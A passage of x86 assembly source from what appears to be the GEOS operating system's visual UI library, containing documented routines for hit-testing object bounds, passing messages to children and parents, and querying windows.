EC < call VisCheckVisAssumption ; Make sure vis data exists >
mov di, ds:[si]
add di, ds:[di].Vis_offset
mov bl, ds:[di].VI_typeFlags
EC < test bl, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_REQUIRES_VISUAL_COMPOSITE >
test bl, mask VTF_IS_WINDOW
jnz doWindowTransform
test bl, mask VTF_IS_PORTAL
jz noTransform
test bl, mask VTF_CHILDREN_OUTSIDE_PORTAL_WIN
jz doTransform
noTransform:
mov di, offset Resident:CallChildInBoundsCallBack
call VisCallCommonWithRoutine
exit:
ret
doWindowTransform:
test bl, mask VTF_IS_CONTENT
jnz noTransform
doTransform:
; If this group lies in its own window, then transform the passed
; bounds.
mov bx, ds:[di].VI_bounds.R_top
push bx
sub ss:[bp].VCCIBF_bounds.R_top, bx
sub ss:[bp].VCCIBF_bounds.R_bottom, bx
mov bx, ds:[di].VI_bounds.R_left
push bx
sub ss:[bp].VCCIBF_bounds.R_left, bx
sub ss:[bp].VCCIBF_bounds.R_right, bx
mov di, offset Resident:CallChildInBoundsCallBack
call VisCallCommonWithRoutine
pop bx
add ss:[bp].VCCIBF_bounds.R_left, bx
add ss:[bp].VCCIBF_bounds.R_right, bx
pop bx
add ss:[bp].VCCIBF_bounds.R_top, bx
add ss:[bp].VCCIBF_bounds.R_bottom, bx
jmp exit
VisCallChildrenInBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CallIfInBounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine invokes a method on the passed object if its
bounds overlap the passed bounds.
CALLED BY: GLOBAL
PASS: *ds:si, ds:di - Vis object
ax - method
ss:bp - VisCallChildrenInBoundsFrame
RETURN: nada
DESTROYED: bx, cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 12/ 9/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CallIfInBounds proc near
class VisClass
mov bx, ss:[bp].VCCIBF_bounds.R_left
cmp bx, ds:[di].VI_bounds.R_right
jg exit
mov bx, ss:[bp].VCCIBF_bounds.R_right
cmp bx, ds:[di].VI_bounds.R_left
jl exit
mov bx, ss:[bp].VCCIBF_bounds.R_top
cmp bx, ds:[di].VI_bounds.R_bottom
jg exit
mov bx, ss:[bp].VCCIBF_bounds.R_bottom
cmp bx, ds:[di].VI_bounds.R_top
jl exit
push ax, bp
; Test to see if child's bounds hit
call ObjCallInstanceNoLock
pop ax, bp
exit:
ret
CallIfInBounds endp
COMMENT @----------------------------------------------------------------------
ROUTINE: CallChildInBoundsCallBack
SYNOPSIS: Checks to see if child is under current point. Calls the
child if so.
CALLED BY: FAR
PASS: *ds:si -- child handle
*es:di -- composite handle
ax - message to pass
cx, dx - data for child
ss:bp - ptr to VisCallChildrenInBoundsFrame
RETURN: carry clear
cx, dx, ss:bp.VCCIBF_data -- returned from child if called
DESTROYED: bx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 12/91 Initial Version
------------------------------------------------------------------------------@
CallChildInBoundsCallBack proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov di,ds:[si]
add di,ds:[di].Vis_offset
mov bl, ds:[di].VI_attrs
; Make sure item is enabled, detectable, etc.
test bl, mask VA_FULLY_ENABLED
jz exit
test bl, mask VA_DETECTABLE or mask VA_REALIZED
jz exit
jpo exit
; Check if the object's bounds overlap the passed bounds
call CallIfInBounds
exit:
clc
ret
CallChildInBoundsCallBack endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCallChildUnderPoint
DESCRIPTION: Default routine for passing input message down a visible
hierarchy. Calls the first child of a composite that is
realized, enabled, detectable, and whose bounds lie
under the point passed. Sets UIFA_IN before calling such a
child.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
ax - message
cx, dx - mouse position in document coordinates
bp - other data to pass on (NOTE: Bit corresponding to UIFA_IN in
high byte MUST be able to be set if mouse is determined to
be over child -- basically, bp high must either be
UIFunctionsActive, have a similar bit in the same position,
or not be used.)
RETURN:
carry - set if child was under point, clear if not
ax - Data returned by child. If no child, is cleared to NULL,
unless message passed = MSG_META_PTR, in which case
ax is returned = MRF_CLEAR_POINTER_IMAGE.
cx, dx, bp - return values, if child called
ds - updated segment
DESTROYED:
bx, di
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
Doug 1/93 Updated doc to clearing indicate input nature
------------------------------------------------------------------------------@
VisCallChildUnderPoint proc far
class VisCompClass ; Indicate function is a friend
; of VisCompClass so it can play with
; instance data.
EC < push di >
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < mov di, ds:[si] >
EC < add di, ds:[di].Vis_offset >
EC < test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_REQUIRES_VISUAL_COMPOSITE >
EC < pop di >
mov di, offset CallChildUnderPointCallBack
call VisCallCommonWithRoutine
jc exit
; return flags clear if no children hit
cmp ax, MSG_META_START_MOVE_COPY
jne notHelp
push ax, cx, dx, bp
mov bp, ax
mov ax, MSG_SPEC_NO_INPUT_DESTINATION
call ObjCallInstanceNoLock
pop ax, cx, dx, bp
notHelp:
cmp ax, MSG_META_PTR
mov ax, mask MRF_CLEAR_POINTER_IMAGE
jz exit ;Carry is clear if ax = MSG_META_PTR...
clr ax ;"clr" clears the carry
exit:
ret
VisCallChildUnderPoint endp
COMMENT @----------------------------------------------------------------------
ROUTINE: CallChildUnderPointCallBack
SYNOPSIS: Checks to see if child is under current point. Calls the
child if so.
CALLED BY: FAR
PASS: *ds:si -- child handle
*es:di -- composite handle
ax - message to pass
cx, dx - location in document coordinates
bp - data to pass on
RETURN: carry set if child hit (to abort sending to other siblings)
ax, cx, bp -- returned from child if called
DESTROYED: bx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 10/ 2/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
CallChildUnderPointCallBack proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov bx,ds:[si]
add bx,ds:[bx].Vis_offset
test ds:[bx].VI_typeFlags, mask VTF_IS_WINDOW
jnz noMatch
mov bl, ds:[bx].VI_attrs
; Make sure item is enabled, detectable, etc.
; Allow mouse events to get sent to disabled objects. - Joon (11/10/98)
; test bl, mask VA_FULLY_ENABLED
; jz noMatch
test bl, mask VA_DETECTABLE or mask VA_REALIZED
jz noMatch
jpo noMatch
call VisTestPointInBounds
jnc noMatch
or bp,(mask UIFA_IN) shl 8
; Test to see if child's bounds hit
; Use ES version since *es:di is
; composite object
call ObjCallInstanceNoLockES ; if hit, send to this child
stc ; & don't send to any others
ret
noMatch:
clc
ret
CallChildUnderPointCallBack endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisTestPointInBounds
DESCRIPTION: Test whether a point is within an object's visual bounds.
Used by mouse handlers to see what object is clicked on.
CALLED BY: GLOBAL
PASS:
*ds:si - object
cx, dx - point (x, y)
RETURN:
carry - set if poing within bounds
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 9/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
VisTestPointInBounds proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC< call VisCheckVisAssumption ; Make sure vis data exists >
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di = VisInstance
; check for windowed object
test ds:[di].VI_typeFlags,mask VTF_IS_WINDOW
jnz VTPIB_window
; not a windowed object, do basic bounds checking
cmp cx, ds:[di].VI_bounds.R_left
jl VTPIB_outside
cmp cx, ds:[di].VI_bounds.R_right
jge VTPIB_outside ;must be INSIDE object bounds
cmp dx, ds:[di].VI_bounds.R_top
jl VTPIB_outside
cmp dx, ds:[di].VI_bounds.R_bottom
jge VTPIB_outside ;must be INSIDE object bounds
VTPIB_inside:
stc
pop di
ret
VTPIB_outsidePop:
pop ax
VTPIB_outside:
clc
pop di
ret
; a windowed object
VTPIB_window:
tst cx ;(0,0) are top,left coordinate
jl VTPIB_outside
tst dx
jl VTPIB_outside
push ax
mov ax, ds:[di].VI_bounds.R_right ;compute right
sub ax, ds:[di].VI_bounds.R_left
cmp cx, ax
jg VTPIB_outsidePop
mov ax, ds:[di].VI_bounds.R_bottom ;compute bottom
sub ax, ds:[di].VI_bounds.R_top
cmp dx, ax
jg VTPIB_outsidePop
pop ax
jmp short VTPIB_inside
VisTestPointInBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisGetSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Returns size of an object by looking at its bounds instance
data.
CALLED BY: GLOBAL
PASS: *ds:si - instance data of visual object
RETURN: cx -- width of object
dx -- height of object
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 2/15/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VisGetSize method static VisClass, MSG_VIS_RECALC_SIZE,
MSG_VIS_GET_SIZE,
MSG_SPEC_GET_EXTRA_SIZE
class VisClass
EC< call VisCheckVisAssumption ; Make sure vis data exists >
push di
mov di, ds:[si] ; get ptr to object
add di, ds:[di].Vis_offset ; ds:di = VisInstance
mov cx, ds:[di].VI_bounds.R_right
sub cx, ds:[di].VI_bounds.R_left
mov dx, ds:[di].VI_bounds.R_bottom
sub dx, ds:[di].VI_bounds.R_top
pop di
ret
VisGetSize endm
COMMENT @----------------------------------------------------------------------
FUNCTION: VisGetBounds
DESCRIPTION: Return the bounds of a visual object, from its instance data.
CALLED BY: GLOBAL
PASS:
*ds:si - instance data of visual object
RETURN:
ax - left
bx - top
cx - right
dx - bottom
DESTROYED:
nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Chris 12/89 Rewritten for extra composite function
Chris 4/91 Updated for new graphics, vis bounds conventions
Chris 5/20/91 Restore to get rid of stupid composite function
------------------------------------------------------------------------------@
VisGetBounds proc far
class VisClass
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov bx, ds:[si]
add bx, ds:[bx].Vis_offset ; ds:bx = VisInstance
mov ax, ds:[bx].VI_bounds.R_left ;add in real bounds
mov cx, ds:[bx].VI_bounds.R_right
mov dx, ds:[bx].VI_bounds.R_bottom
mov bx, ds:[bx].VI_bounds.R_top
ret
VisGetBounds endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisGetBoundsInsideMargins
DESCRIPTION: Return the visual bounds of a visual composite object, inside
its margins.
CALLED BY: GLOBAL
PASS:
*ds:si - instance data of visual object
RETURN:
ax - left edge of object, after the composite's left margin
bx - top edge, below the composite's top margin
cx - right edge, before the composite`s right margin
dx - bottom, above the composites's bottom margin
ds - updated to point at segment of same block as on entry
DESTROYED:
nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Chris 12/89 Rewritten for extra composite function
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
VisGetBoundsInsideMargins proc far
class VisCompClass
EC< call VisCheckVisAssumption ; Make sure vis data exists >
EC < mov bx, ds:[si] >
EC < add bx, ds:[bx].Vis_offset ; ds:bx = VisInstance >
EC < test ds:[bx].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_MUST_BE_VIS_COMP_TO_HAVE_MARGINS >
;
; Get composite margins and set them up as offsets from the real bounds.
;
push bp
mov ax, MSG_VIS_COMP_GET_MARGINS ;get control margins
call ObjCallInstanceNoLock ; in ax/bp/cx/dx
mov bx, bp
neg cx ;negate right, bottom
neg dx
mov bp, ds:[si] ;deref again
add bp, ds:[bp].Vis_offset
add ax, ds:[bp].VI_bounds.R_left ;add in real bounds
add bx, ds:[bp].VI_bounds.R_top
add cx, ds:[bp].VI_bounds.R_right
add dx, ds:[bp].VI_bounds.R_bottom
pop bp
ret
VisGetBoundsInsideMargins endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisCallParentEnsureStack
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call VisCallParent, but ensures that there is around 600
bytes of stack space.
CALLED BY: GLOBAL
PASS: same as VisCallParent
RETURN: same as VisCallParent
DESTROYED: same as VisCallParent
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 12/18/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VisCallParentEnsureStack proc far uses di
.enter
mov di, UI_STACK_SPACE_REQUIREMENT_FOR_RECURSE_ITERATION
call ThreadBorrowStackSpace
call VisCallParent
call ThreadReturnStackSpace
.leave
ret
VisCallParentEnsureStack endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCallParent
DESCRIPTION: Call the visual parent of a visual object. If no visual parent,
does nothing.
CALLED BY: EXTERNAL
PASS:
*ds:si - object starting query
cx, dx, bp - data to send along
ax - Message to send to visible parent
RETURN:
carry - clear if null parent link, else set by message called.
ax, cx, dx, bp - returned data
si - unchanged
ds - updated segment of object
DESTROYED:
nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 2/89 Initial version
------------------------------------------------------------------------------@
VisCallParent proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
push bx, di
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov bx, offset Vis_offset
mov di, offset VI_link
call ObjLinkCallParent
pop bx, di
ret
VisCallParent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisGotoParentTailRecurse
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Method handler to do nothing but VisCallParent. May ONLY
be used to replace:
GOTO VisCallParent
from within a method handler, ast the non-EC version
optimally falls through to VisGotoParentTailRecurse.
PASS: *ds:si - instance data
ds:di - ptr to start of master instance data
es - segment of class
ax - method
<pass info>
RETURN: <return info>
ALLOWED TO DESTROY:
bx, si, di, ds, es
PSEUDO CODE/STRATEGY/KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
doug 1/3/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VisGotoParentTailRecurse proc far
class VisClass
call VisFindParent ; Find parent object
GOTO ObjMessageCallFromHandler
VisGotoParentTailRecurse endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisFindParent
DESCRIPTION: Return the visual parent of an object.
CALLED BY: EXTERNAL
PASS: *ds:si - instance data
RETURN: ^lbx:si - parent (or null if none)
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
------------------------------------------------------------------------------@
VisFindParent proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
push di
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov bx, offset Vis_offset ; Call visual parent
mov di, offset VI_link ; Pass visual linkage
call ObjLinkFindParent
pop di
ret
VisFindParent endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisSwapLockParent
DESCRIPTION: Utility routine to setup *ds:si to be the visual parent of
the current object. To be used in cases where you want
to get access to a visual parent's instance data, or
prepare to call a routine where *ds:si much be the object,
or for cases where you otherwise might be doing a
series of VisCallParent's, which can be somewhat expensive.
USAGE:
; *ds:si is our object
push si ; save chunk offset
call VisSwapLockParent ; set *ds:si = parent
push bx ; save bx (handle
; of child's block)
pop bx ; restore bx
call ObjSwapUnlock
pop si ; restore chunk offset
CALLED BY: EXTERNAL
PASS: *ds:si - instance data of object
RETURN: carry - set if succesful (clear if no parent)
*ds:si - instance data of parent object (si = 0 if no parent)
bx - block handle of child object, which is
still locked.
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 11/89 Initial version
------------------------------------------------------------------------------@
VisSwapLockParent proc far
class VisClass
push di
EC< call VisCheckVisAssumption ; Make sure gen data exists >
mov bx, offset Vis_offset ; Call generic parent
mov di, offset VI_link ; Pass generic linkage
call ObjSwapLockParent
pop di
ret
VisSwapLockParent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisCallCommonWithRoutine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine takes a method, data, and offset to a callback
routine
CALLED BY: INTERNAL
PASS: cs:di - ptr to callback routine
RETURN: args from ObjCompProcessChildren
DESTROYED: bx, di, whatever ObjCompProcessChildren dorks
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 12/ 9/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VisCallCommonWithRoutine proc near
class VisClass
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < push di
EC < mov di, ds:[si] >
EC < add di, ds:[di].Vis_offset >
EC < test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_REQUIRES_VISUAL_COMPOSITE >
EC < pop di
clr bx ;start with initial child (first
push bx ;child of composite)
push bx
mov bx, offset VI_link
push bx ;push offset to LinkPart
NOFXIP < push cs ;pass callback routine >
FXIP < mov bx, SEGMENT_CS >
FXIP < push bx >
push di
mov bx,offset Vis_offset
mov di,offset VCI_comp
call ObjCompProcessChildren ;must use a call (no GOTO) since
;parameters are passed on the stack
ret
VisCallCommonWithRoutine endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisSendToChildren
DESCRIPTION: Sends message to all children of visible composite. Arguments
will be passed identically to each visible child.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
ax - method to pass
cx, dx, bp - data for message
RETURN:
cx, dx, bp - unchanged
bx, si - unchanged
ds - updated segment
DESTROYED:
ax, bx
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisSendToChildren proc far
class VisClass
mov di, OCCT_SAVE_PARAMS_DONT_TEST_ABORT
FALL_THRU VisCallCommon
VisSendToChildren endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisCallCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Utility routine used to call ObjCompProcessChildren with
args appropriate for processing all vis children.
CALLED BY: GLOBAL
PASS: di - ObjCompCallType
RETURN: args from ObjCompProcessChildren
DESTROYED: bx,di, whatever ObjCompProcessChildren dorks
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 1/16/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VisCallCommon proc far
class VisCompClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < push di
EC < mov di, ds:[si] >
EC < add di, ds:[di].Vis_offset >
EC < test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_REQUIRES_VISUAL_COMPOSITE >
EC < pop di
clr bx ; initial child (first
push bx ; child of
push bx ; composite)
mov bx, offset VI_link ; Pass offset to LinkPart
push bx
clr bx ; Use standard function
push bx
push di
mov bx, offset Vis_offset
mov di, offset VCI_comp
;DO NOT CHANGE THIS TO A GOTO! We are passing stuff on the stack.
call ObjCompProcessChildren ;must use a call (no GOTO) since
;parameters are passed on the stack
ret
VisCallCommon endp
COMMENT @----------------------------------------------------------------------
ROUTINE: VisCallFirstChild
SYNOPSIS: Sends message to first child of a composite. Does nothing if
composite has no children. Does not allow for passing stuff
on the stack.
CALLED BY: utility
PASS: *ds:si -- handle of composite
ax -- message
cx, dx, bp -- message args
RETURN: ax, cx, dx, bp -- return args
ds - updated to point at segment of same block as on entry
DESTROYED:
nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 11/22/89 Initial version
------------------------------------------------------------------------------@
VisCallFirstChild proc far
class VisCompClass
push si, bx
EC < push di >
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < mov di, ds:[si] >
EC < add di, ds:[di].Vis_offset >
EC < test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_REQUIRES_VISUAL_COMPOSITE >
EC < pop di >
mov si, ds:[si] ;point to instance
add si, ds:[si].Vis_offset ;ds:[di] -- VisInstance
mov bx, ds:[si].VCI_comp.CP_firstChild.handle
mov si, ds:[si].VCI_comp.CP_firstChild.chunk
tst si
jz exit
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
exit:
DoPop bx, si
ret
VisCallFirstChild endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCallNextSibling
DESCRIPTION: Call next sibling of a visible object. Does nothing if object
has no sibling (i.e. the parent is null).
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
ax - message to pass
cx, dx, bp - data for message
RETURN:
cx, dx, bp - unchanged
ds - updated segment
carry - may be set by message handler, will be clear if no next
sibling is found.
DESTROYED:
bx, di
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 2/90 Initial version
------------------------------------------------------------------------------@
VisCallNextSibling proc far
class VisClass
push bx, di
EC< call VisCheckVisAssumption ; Make sure gen data exists >
mov bx, offset Vis_offset ; Call visible sibling
mov di, offset VI_link ; Pass visible linkage
call ObjLinkCallNextSibling
pop bx, di
ret
VisCallNextSibling endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisQueryWindow
DESCRIPTION: Returns window handle that this object is visible in. If
object is a window, returns that handle.
NOTE: if you need a window handle because you wish to attach
a GState to it, consider using MSG_VIS_VUP_CREATE_GSTATE
instead -- this message normally travels up to the WIN_GROUP
object, & creates a GState attached to the WIN_GROUP's window
handle. Though slower than using VisQueryWindow, it allows
large (32-bit) composites & layers to intercept the message
& apply a 32-bit translation to the GState, so that 16-bit
visible objects below that point can reside in a 32-bit
document space.
CALLED BY: EXTERNAL
PASS: *ds:si - visible object
RETURN: di - window handle (0 if not realized)
ds - updated to point at segment of same block as on entry
DESTROYED:
nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/88 Initial version
------------------------------------------------------------------------------@
VisQueryWindow proc far
class VisCompClass
clr di ; assume not built
;
; Check to see if the object is specifically built yet. Unfortunately,
; VisCheckIfSpecBuilt checks to see if the object is specifically
; grown. This object doesn't have to be a specific object!
;
push ax
push di
mov di, ds:[si]
; Has visible part been grown yet?
mov ax, ds:[di].Vis_offset
tst ax
je VCIVB_notBuilt ; if not, then can't be visually built yet.
; See if visible master part has any data
; allocated for it (Visible world used?)
add di, ax ; point at vis part
; See if part of visible composite
tst ds:[di].VI_link.LP_next.handle
je VCIVB_notBuilt ; if not, then not specifically built.
stc ; else is visually built
jmp short VCIVB_done
VCIVB_notBuilt:
clc
VCIVB_done:
pop di
pop ax
jnc VQW_notBuilt ; nope, exit
mov di, ds:[si] ; get ptr to instance
add di, ds:[di].Vis_offset ; ds:di = VisInstance
; if object is not a composite use VisQueryParentWin
test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE
jz VQW_notComposite
mov di, ds:[di].VCI_window ; fetch window handle
EC < tst di ; null is allowed >
EC < jz VQW_100 >
EC < xchg bx, di >
EC < call ECCheckWindowHandle ; make sure win handle >
EC < xchg bx, di >
EC <VQW_100: >
VQW_notBuilt:
ret
VQW_notComposite:
FALL_THRU VisQueryParentWin
VisQueryWindow endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisQueryParentWin
DESCRIPTION: Returns window handle of parent of this object.
NOTE: if you need a window handle because you wish to attach
a GState to it, consider using MSG_VIS_VUP_CREATE_GSTATE
instead -- this message normally travels up to the WIN_GROUP
object, & creates a GState attached to the WIN_GROUP's window
handle. Though slower than using VisQueryParentWin, it allows
large (32-bit) composites & layers to intercept the message
& apply a 32-bit translation to the GState, so that 16-bit
visible objects below that point can reside in a 32-bit
document space.
CALLED BY: EXTERNAL
PASS: *ds:si - visible object
RETURN: di - window handle (0 if not realized)
ds - updated to point at segment of same block as on entry
DESTROYED:
nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/88 Initial version
------------------------------------------------------------------------------@
VisQueryParentWin proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
push bx
EC< call VisCheckVisAssumption ; Make sure vis data exists >
clr di ; assume no window
push si
call VisSwapLockParent ; setup *ds:si = parent
jnc VQPGW_30 ; if no parent, return null win handle
call VisQueryWindow ; Fetch window handle, if built
VQPGW_30:
call ObjSwapUnlock ; restore ds
pop si
pop bx
ret
VisQueryParentWin endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisGetParentGeometry
DESCRIPTION: Returns the geometry flags of the visible parent of this
objects. NOT INTENDED TO BE RESILIENT TO PROBLEMS -- will
fatal error if the data is not there...
CALLED BY: EXTERNAL
PASS: *ds:si - visible object
RETURN: cl -- GeoAttrs
ch -- GeoDimensionAttrs
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/88 Initial version
